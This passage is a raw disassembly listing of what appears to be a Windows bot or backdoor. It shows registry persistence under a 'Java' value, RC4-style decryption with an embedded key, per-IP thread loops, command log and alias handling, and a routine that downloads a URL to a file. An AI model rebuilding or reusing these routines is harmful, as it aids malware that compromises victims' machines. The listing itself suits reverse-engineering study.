		call	dword_4916E8	; inet_ntoa
		push	eax
		lea	eax, [ebp-208h]
		push	eax
		call	sub_416821
		mov	eax, [ebp-20h]
		imul	eax, 3Ch
		add	eax, offset aAsn1http_0	; "asn1http"
		push	eax
		lea	eax, [ebp-178h]
		push	eax
		call	sub_416821
		add	esp, 10h
		cmp	byte ptr [ebp-0C0h], 0
		lea	eax, [ebp-0C0h]
		jnz	short loc_404089
		lea	eax, [ebp-140h]


loc_404089:				; CODE XREF: .text:00404081j
		push	eax
		lea	eax, [ebp-1F8h]
		push	eax
		call	sub_416821
		mov	eax, [ebp-40h]
		pop	ecx
		mov	[ebp-20Ch], eax
		mov	eax, [ebp-18h]
		mov	[ebp-15Ch], eax
		mov	eax, [ebp-14h]
		mov	[ebp-158h], eax
		mov	eax, [ebp-3Ch]
		mov	[ebp-16Ch], eax
		mov	eax, [ebp-20h]
		pop	ecx
		mov	[ebp-164h], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp-168h], esi
		lea	esi, [ebp-20Ch]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_42AF2C[eax]
		mov	esi, [ebp-4]
		add	esp, 0BCh


loc_4040F0:				; CODE XREF: .text:00403FBEj
					; .text:00404040j
		push	7D0h
		call	ds:dword_495324	; Sleep
		jmp	loc_403F42
; ---------------------------------------------------------------------------


loc_404100:				; CODE XREF: .text:00403F50j
		push	esi
		call	sub_4012A3
		pop	ecx
		push	0
		call	ds:dword_495334	; ExitThread
; ---------------------------------------------------------------------------
		db 85h dup(0CCh)
; ---------------------------------------------------------------------------


loc_404194:				; CODE XREF: .text:loc_401366j
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-14Ch]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp-14Ch]
		push	eax
		call	dword_49169C	; inet_addr
		mov	ecx, [ebp-2Ch]
		sub	esp, 14Ch
		lea	esi, [ebp-14Ch]
		push	53h
		mov	dword_4370C0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40123A
		push	8
		call	sub_4010E6
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_404262
		mov	esi, offset dword_438060
		push	esi
		call	ds:dword_495348	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_495344	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_404262
		lea	eax, [ebp-1CCh]
		push	offset dword_42B708
		push	eax
		call	sub_416821
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp-10h], ebx
		pop	ecx
		jnz	short loc_40424C
		push	ebx
		lea	eax, [ebp-1CCh]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-3Ch]
		call	sub_4010D2
		add	esp, 14h


loc_40424C:				; CODE XREF: .text:0040422Dj
		lea	eax, [ebp-1CCh]
		push	eax
		call	sub_401014
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_404262:				; CODE XREF: .text:004041F7j
					; .text:00404213j
		mov	eax, [ebp-2Ch]
		mov	esi, ds:dword_495324
		mov	edi, ebx
		mov	dword_4370C4[eax*8], ebx
		xor	ebx, ebx
		cmp	dword ptr [ebp-20h], 1
		jb	loc_40432F


loc_404280:				; CODE XREF: .text:00404329j
		push	edi
		lea	eax, [ebp-14Ch]
		push	dword ptr [ebp-2Ch]
		mov	[ebp-24h], edi
		push	dword ptr [ebp-38h]
		push	eax
		lea	eax, [ebp-1CCh]
		push	offset dword_42B6BC
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp-1CCh]
		push	8
		push	eax
		call	sub_40105F
		mov	[ebp-28h], eax
		imul	eax, 234h
		mov	ecx, [ebp-2Ch]
		add	esp, 24h
		mov	dword_43E924[eax], ecx
		lea	eax, [ebp-14Ch]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_4012D5
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, [ebp-28h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4042FA


loc_4042EF:				; CODE XREF: .text:004042F8j
		cmp	[ebp-4], ebx
		jnz	short loc_404321
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_4042EF
; ---------------------------------------------------------------------------


loc_4042FA:				; CODE XREF: .text:004042EDj
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-1CCh]
		push	offset dword_42B66C
		push	eax
		call	sub_416821
		lea	eax, [ebp-1CCh]
		push	eax
		call	sub_401014
		add	esp, 10h


loc_404321:				; CODE XREF: .text:004042F2j
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp-20h]
		jbe	loc_404280


loc_40432F:				; CODE XREF: .text:0040427Aj
		cmp	[ebp-30h], ebx
		jz	loc_4043D9
		mov	eax, [ebp-30h]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_404344:				; CODE XREF: .text:004043E4j
		push	dword ptr [ebp-30h]
		mov	eax, [ebp-2Ch]
		push	dword ptr [ebp-38h]
		mov	eax, dword_4370C0[eax*8]
		push	eax
		call	dword_4916E8	; inet_ntoa
		push	eax
		lea	eax, [ebp-1CCh]
		push	offset dword_42B614
		push	eax
		call	sub_416821
		add	esp, 14h
		cmp	[ebp-10h], ebx
		jnz	short loc_404392
		push	ebx
		lea	eax, [ebp-1CCh]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-3Ch]
		call	sub_4010D2
		add	esp, 14h


loc_404392:				; CODE XREF: .text:00404373j
		lea	eax, [ebp-1CCh]
		push	eax
		call	sub_401014
		mov	eax, [ebp-2Ch]
		mov	dword ptr [esp], 0BB8h
		mov	dword_4370C4[eax*8], ebx
		call	esi	; Sleep
		push	8
		call	sub_4010E6
		cmp	eax, 1
		pop	ecx
		jnz	short loc_4043C9
		push	offset dword_438060
		call	ds:dword_495348	; RtlDeleteCriticalSection


loc_4043C9:				; CODE XREF: .text:004043BCj
		push	dword ptr [ebp-2Ch]
		call	sub_4012A3
		pop	ecx
		push	ebx
		call	ds:dword_495334	; ExitThread


loc_4043D9:				; CODE XREF: .text:00404332j
					; .text:004043F1j
		mov	eax, [ebp-2Ch]
		cmp	dword_4370C4[eax*8], 1
		jnz	loc_404344
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_4043D9
; ---------------------------------------------------------------------------
		db 97h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40448A	proc near		; CODE XREF: sub_401037j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43DBA0
		mov	edi, 0B8h


loc_40449E:				; CODE XREF: sub_40448A+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4044C1
		push	[ebp+arg_0]
		push	esi
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4044C1
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E720
		jl	short loc_40449E
		jmp	short loc_404503
; ---------------------------------------------------------------------------


loc_4044C1:				; CODE XREF: sub_40448A+17j
					; sub_40448A+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43DBA0[esi]
		push	ebx
		call	sub_415CA0
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_416A10
		push	9Fh
		lea	eax, dword_43DBB8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_416A10
		add	esp, 24h
		inc	dword_42CCB0
		pop	ebx


loc_404503:				; CODE XREF: sub_40448A+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40448A	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40452A	proc near		; CODE XREF: sub_401028j

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aAliasList ; "-[Alias List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43DBA0


loc_404554:				; CODE XREF: sub_40452A+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40458F
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset aD_SS	; "%d. %s = %s"
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_4163D7
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 2Ch


loc_40458F:				; CODE XREF: sub_40452A+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E720
		jl	short loc_404554
		pop	edi
		pop	esi
		leave
		retn
sub_40452A	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045C0	proc near		; CODE XREF: sub_401014j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_49534C	; GetLocalTime
		mov	ebx, offset dword_43CE6C
		mov	edi, 80h
		mov	esi, offset dword_438E6C


loc_4045E2:				; CODE XREF: sub_4045C0+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4045F9
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_416A10
		add	esp, 0Ch


loc_4045F9:				; CODE XREF: sub_4045C0+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4045E2
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_4163D7
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4045C0	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404651	proc near		; CODE XREF: sub_4012B2j

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_416BF4
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_401014
		add	esp, 14h
		leave
		retn
sub_404651	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_404688:				; CODE XREF: .text:00401104j
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+14h], ebx
		push	esi
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], ebx
		jnz	short loc_4046B7
		push	ebx
		push	dword ptr [ebp+10h]
		push	offset aLogs	; "-[Logs]-"
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4010D2
		add	esp, 14h


loc_4046B7:				; CODE XREF: .text:0040469Ej
		cmp	[ebp+18h], ebx
		jz	short loc_4046CF
		push	dword ptr [ebp+18h]
		call	sub_416CCF
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_4046CF
		mov	[ebp-8], eax


loc_4046CF:				; CODE XREF: .text:004046BAj
					; .text:004046CAj
		mov	[ebp+14h], ebx
		mov	esi, offset dword_438E6C


loc_4046D7:				; CODE XREF: .text:0040471Fj
		mov	eax, [ebp+14h]
		cmp	eax, [ebp-8]
		jge	short loc_404721
		cmp	[esi], bl
		jz	short loc_404710
		cmp	[ebp+18h], ebx
		jz	short loc_4046FC
		cmp	[ebp-4], ebx
		jnz	short loc_4046FC
		push	dword ptr [ebp+18h]
		push	esi
		call	sub_40121C
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404710


loc_4046FC:				; CODE XREF: .text:004046E6j
					; .text:004046EBj
		push	1
		push	dword ptr [ebp+10h]
		push	esi
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4010D2
		add	esp, 14h


loc_404710:				; CODE XREF: .text:004046E1j
					; .text:004046FAj
		inc	dword ptr [ebp+14h]
		add	esi, 80h
		cmp	esi, offset dword_43CE6C
		jl	short loc_4046D7


loc_404721:				; CODE XREF: .text:004046DDj
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 27h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40474C	proc near		; CODE XREF: sub_4010AFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_438E6C
		xor	ecx, ecx


loc_404753:				; CODE XREF: sub_40474C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_43CE6C
		jl	short loc_404753
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset aLogsCleared_ ; "[LOGS]: Cleared."
		jnz	short loc_404783
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_4010D2
		add	esp, 14h


loc_404783:				; CODE XREF: sub_40474C+1Fj
		push	esi
		call	sub_401014
		pop	ecx
		pop	esi
		retn
sub_40474C	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40479C:				; CODE XREF: .text:00401361j
		push	esi
		mov	esi, offset dword_438E6C


loc_4047A2:				; CODE XREF: .text:004047C3j
		cmp	byte ptr [esi],	0
		jz	short loc_4047B7
		push	dword ptr [esp+8]
		push	esi
		call	sub_40121C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4047C9


loc_4047B7:				; CODE XREF: .text:004047A5j
		add	esi, 80h
		cmp	esi, offset dword_43CE6C
		jl	short loc_4047A2
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4047C9:				; CODE XREF: .text:004047B5j
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(0CCh)
; ---------------------------------------------------------------------------


loc_4047DA:				; CODE XREF: .text:loc_40114Aj
		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_40482D
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_42B7E8
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_4010D2
		add	esp, 14h


loc_40482D:				; CODE XREF: .text:0040480Dj
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_40484D
		lea	eax, [ebp-98h]
		push	eax
		call	sub_416CCF
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_40484D
		mov	[ebp-8], eax


loc_40484D:				; CODE XREF: .text:00404834j
					; .text:00404848j
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_438E6C


loc_404856:				; CODE XREF: .text:004048AEj
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_4048B0
		cmp	byte ptr [esi],	0
		jz	short loc_40489F
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_404885
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_404885
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_40121C
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40489F


loc_404885:				; CODE XREF: .text:0040486Aj
					; .text:00404870j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_4010D2
		add	esp, 14h


loc_40489F:				; CODE XREF: .text:00404861j
					; .text:00404883j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_43CE6C
		jl	short loc_404856


loc_4048B0:				; CODE XREF: .text:0040485Cj
		lea	eax, [ebp-31Ch]
		push	offset dword_42B7BC
		push	eax
		call	sub_416821
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_4048EA
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_4010D2
		add	esp, 14h


loc_4048EA:				; CODE XREF: .text:004048C8j
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_401014
		push	dword ptr [ebp-18h]
		call	sub_4012A3
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_495334	; ExitThread
		pop	edi
		pop	esi
; ---------------------------------------------------------------------------
		db 4Bh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404954	proc near		; CODE XREF: sub_4012FDj

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42B810
		xor	esi, esi
		mov	ebx, offset aJava ; "Java"


loc_404967:				; CODE XREF: sub_404954+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_491610	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_4049A1
		push	[ebp+arg_0]
		call	sub_4158E0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_491680	; RegSetValueExA
		jmp	short loc_4049AB
; ---------------------------------------------------------------------------


loc_4049A1:				; CODE XREF: sub_404954+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4915C8	; RegDeleteValueA


loc_4049AB:				; CODE XREF: sub_404954+4Bj
		push	[ebp+var_4]
		call	dword_491638	; RegCloseKey
		add	edi, 8
		cmp	edi, offset dword_42B828
		jl	short loc_404967
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404954	endp

; ---------------------------------------------------------------------------
		db 1Ch dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4049E0	proc near		; CODE XREF: sub_401019j
					; sub_4049E0+16j

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4012FD
		pop	ecx
		push	dword_42B808
		call	ds:dword_495324	; Sleep
		jmp	short sub_4049E0
sub_4049E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4049FE	proc near		; CODE XREF: sub_4011F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_404A33
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_404A17:				; CODE XREF: sub_4049FE+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_427098[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_404A17
		pop	edi
		pop	ebx


loc_404A33:				; CODE XREF: sub_4049FE+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_4049FE	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404A47	proc near		; CODE XREF: sub_4012B7j

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_415CF8
		mov	[esp+10h+var_10], offset dword_42B830
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_417012
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_404A96


loc_404A6C:				; CODE XREF: sub_404A47+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_404A9A
		inc	ebx
		push	ebx
		push	esi
		call	sub_416ED2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_404A96
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_416DEA
		add	esp, 10h
		jmp	short loc_404A6C
; ---------------------------------------------------------------------------


loc_404A96:				; CODE XREF: sub_404A47+23j
					; sub_404A47+39j
		xor	eax, eax
		jmp	short loc_404AB5
; ---------------------------------------------------------------------------


loc_404A9A:				; CODE XREF: sub_404A47+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_4011F9
		push	esi
		mov	ebx, eax
		call	sub_415D6C
		push	edi
		call	sub_416D94
		add	esp, 10h
		mov	eax, ebx


loc_404AB5:				; CODE XREF: sub_404A47+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_404A47	endp

; ---------------------------------------------------------------------------
		db 1Ch dup(0CCh)
; ---------------------------------------------------------------------------


loc_404AD5:				; CODE XREF: .text:0040106Ej
		push	ebp
		mov	ebp, esp
		sub	esp, 240h
		push	ebx
		push	esi
		lea	eax, [ebp-34h]
		push	edi
		xor	ebx, ebx
		push	eax
		xor	edi, edi
		mov	byte ptr [ebp-34h], 0Ah
		mov	byte ptr [ebp-33h], 0Eh
		mov	byte ptr [ebp-32h], 20h
		mov	byte ptr [ebp-31h], 48h
		mov	byte ptr [ebp-30h], 0Bh
		mov	byte ptr [ebp-2Fh], 2Bh
		mov	byte ptr [ebp-2Eh], 0Ch
		mov	byte ptr [ebp-2Dh], 23h
		mov	byte ptr [ebp-2Ch], 3Ah
		mov	byte ptr [ebp-2Bh], 27h
		mov	byte ptr [ebp-2Ah], 28h
		mov	byte ptr [ebp-29h], 5Eh
		mov	byte ptr [ebp-28h], 2Ah
		mov	byte ptr [ebp-27h], 1Eh
		mov	byte ptr [ebp-26h], 2Dh
		mov	byte ptr [ebp-25h], 5Ah
		mov	byte ptr [ebp-24h], 1Bh
		mov	byte ptr [ebp-23h], 0Fh
		mov	byte ptr [ebp-22h], 4Ch
		mov	byte ptr [ebp-21h], 44h
		mov	byte ptr [ebp-20h], 16h
		mov	byte ptr [ebp-1Fh], 4
		mov	byte ptr [ebp-1Eh], 57h
		mov	byte ptr [ebp-1Dh], 23h
		mov	byte ptr [ebp-1Ch], 11h
		mov	byte ptr [ebp-1Bh], 53h
		mov	byte ptr [ebp-1Ah], 38h
		mov	byte ptr [ebp-19h], 13h
		mov	byte ptr [ebp-18h], 0Dh
		mov	byte ptr [ebp-17h], 12h
		mov	byte ptr [ebp-16h], 25h
		mov	byte ptr [ebp-15h], 1Ch
		mov	byte ptr [ebp-14h], 30h
		mov	byte ptr [ebp-13h], 12h
		mov	byte ptr [ebp-12h], 50h
		mov	byte ptr [ebp-11h], 4Fh
		mov	byte ptr [ebp-10h], 39h
		mov	byte ptr [ebp-0Fh], 10h
		mov	byte ptr [ebp-0Eh], 42h
		mov	byte ptr [ebp-0Dh], 1Fh
		mov	byte ptr [ebp-0Ch], 37h
		mov	byte ptr [ebp-0Bh], 1Dh
		mov	byte ptr [ebp-0Ah], 41h
		mov	byte ptr [ebp-9], 55h
		mov	byte ptr [ebp-8], 2Ch
		mov	byte ptr [ebp-7], 41h
		mov	byte ptr [ebp-6], 2Ch
		mov	byte ptr [ebp-5], 58h
		mov	[ebp-4], bl
		call	sub_4158E0
		mov	esi, 101h
		mov	[ebp-38h], eax
		push	esi
		lea	eax, [ebp-13Ch]
		push	ebx
		push	eax
		call	sub_415CA0
		push	esi
		lea	eax, [ebp-240h]
		push	ebx
		push	eax
		call	sub_415CA0
		add	esp, 1Ch
		xor	eax, eax
		mov	ecx, 100h


loc_404BDF:				; CODE XREF: .text:00404BE9j
		mov	[ebp+eax-13Ch],	al
		inc	eax
		cmp	eax, ecx
		jb	short loc_404BDF
		cmp	[ebp+14h], ebx
		jz	short loc_404C0E
		xor	eax, eax


loc_404BF2:				; CODE XREF: .text:00404C0Aj
		cmp	edi, [ebp+14h]
		jnz	short loc_404BF9
		xor	edi, edi


loc_404BF9:				; CODE XREF: .text:00404BF5j
		mov	edx, [ebp+10h]
		mov	dl, [edi+edx]
		inc	edi
		mov	[ebp+eax-240h],	dl
		inc	eax
		cmp	eax, ecx
		jb	short loc_404BF2
		jmp	short loc_404C28
; ---------------------------------------------------------------------------


loc_404C0E:				; CODE XREF: .text:00404BEEj
		xor	esi, esi


loc_404C10:				; CODE XREF: .text:00404C26j
		cmp	edi, [ebp-38h]
		jnz	short loc_404C17
		xor	edi, edi


loc_404C17:				; CODE XREF: .text:00404C13j
		mov	al, [ebp+edi-34h]
		inc	edi
		mov	[ebp+esi-240h],	al
		inc	esi
		cmp	esi, ecx
		jb	short loc_404C10


loc_404C28:				; CODE XREF: .text:00404C0Cj
		mov	[ebp+14h], ebx
		xor	edi, edi
		mov	eax, 0FFh


loc_404C32:				; CODE XREF: .text:00404C6Cj
		mov	dl, [ebp+edi-13Ch]
		mov	ebx, [ebp+14h]
		mov	cl, [ebp+edi-240h]
		lea	esi, [ebp+edi-13Ch]
		add	ebx, edx
		add	ecx, ebx
		and	ecx, eax
		inc	edi
		mov	[ebp+14h], ecx
		cmp	edi, 100h
		mov	bl, [ebp+ecx-13Ch]
		lea	ecx, [ebp+ecx-13Ch]
		mov	[esi], bl
		mov	[ecx], dl
		jb	short loc_404C32
		xor	edi, edi
		cmp	[ebp+0Ch], edi
		mov	[ebp+14h], edi
		mov	[ebp+10h], edi
		jbe	short loc_404CCA


loc_404C7B:				; CODE XREF: .text:00404CC8j
		inc	edi
		and	edi, eax
		mov	dl, [ebp+edi-13Ch]
		lea	ecx, [ebp+edi-13Ch]
		mov	bl, dl
		add	ebx, [ebp+14h]
		and	ebx, eax
		mov	esi, ebx
		mov	bl, [ebp+esi-13Ch]
		mov	[ebp+14h], esi
		mov	[ecx], bl
		lea	esi, [ebp+esi-13Ch]
		mov	ebx, [ebp+10h]
		mov	[esi], dl
		mov	cl, [ecx]
		mov	esi, [ebp+8]
		add	ecx, edx
		and	ecx, eax
		add	esi, ebx
		mov	cl, [ebp+ecx-13Ch]
		xor	[esi], cl
		inc	ebx
		cmp	ebx, [ebp+0Ch]
		mov	[ebp+10h], ebx
		jb	short loc_404C7B


loc_404CCA:				; CODE XREF: .text:00404C79j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 7Eh dup(0CCh)
; ---------------------------------------------------------------------------


loc_404D4D:				; CODE XREF: sub_40104Bj
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_49160C
		call	dword_49156C	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_4051D9
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	ds:dword_495360	; CreateFileA
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_404E14
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_42BACC
		push	eax
		call	sub_416821
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_404DF7
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4010D2
		add	esp, 14h


loc_404DF7:				; CODE XREF: .text:00404DD5j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_401014
		push	dword ptr [ebp-48h]
		call	sub_4012A3
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_495334	; ExitThread


loc_404E14:				; CODE XREF: .text:00404DB5j
		xor	edi, edi
		call	ds:dword_495340	; GetTickCount
		mov	ebx, 7D000h
		mov	[ebp-4], eax
